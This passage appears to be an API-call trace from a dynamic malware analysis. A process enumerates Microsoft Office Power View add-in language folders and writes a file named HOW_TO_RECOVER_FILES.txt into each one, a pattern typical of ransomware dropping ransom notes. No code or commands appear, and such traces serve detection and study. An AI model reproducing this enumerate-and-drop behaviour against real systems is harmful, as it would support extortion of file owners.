ftCreationTime.dwLowDateTime=0xf61b1409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61b1409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.508] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13a8299e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aa8b23, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.he.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.508] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13a8299e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aa8b23, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.he.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.509] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0223.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\he\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.513] GetFileType (hFile=0x82c) returned 0x1 [0223.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.513] GetFileType (hFile=0x82c) returned 0x1 [0223.513] WriteFile (in: hFile=0x82c, lpBuffer=0x354de60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x354de60*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.514] CloseHandle (hObject=0x82c) returned 1 [0223.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.514] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi", lpFilePart=0x0) returned 0x51 [0223.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0223.515] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa806c3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1428e945, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x142b4b24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hi.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.516] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.516] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0223.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi", lpFilePart=0x0) returned 0x51 [0223.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0223.518] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.518] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.518] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa806c3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.518] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.518] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.519] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1428e945, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x142b4b24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hi.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.519] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1428e945, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x142b4b24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hi.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.519] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0223.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.520] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.521] GetFileType (hFile=0x82c) returned 0x1 [0223.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.521] GetFileType (hFile=0x82c) returned 0x1 [0223.522] WriteFile (in: hFile=0x82c, lpBuffer=0x3561630*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3561630*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.522] CloseHandle (hObject=0x82c) returned 1 [0223.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.523] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr", lpFilePart=0x0) returned 0x51 [0223.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0223.523] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.524] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14268686, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc40d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.524] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf07af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf07af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.524] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.524] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e310c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e310c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e7d566, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.524] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13b67741, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hr.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.524] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.524] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0223.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr", lpFilePart=0x0) returned 0x51 [0223.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0223.526] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.526] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14268686, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc40d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.526] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf07af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf07af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.526] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.527] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e310c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e310c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e7d566, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.527] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13b67741, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hr.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.527] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13b67741, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hr.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.527] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0223.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.528] GetFullPathNameW 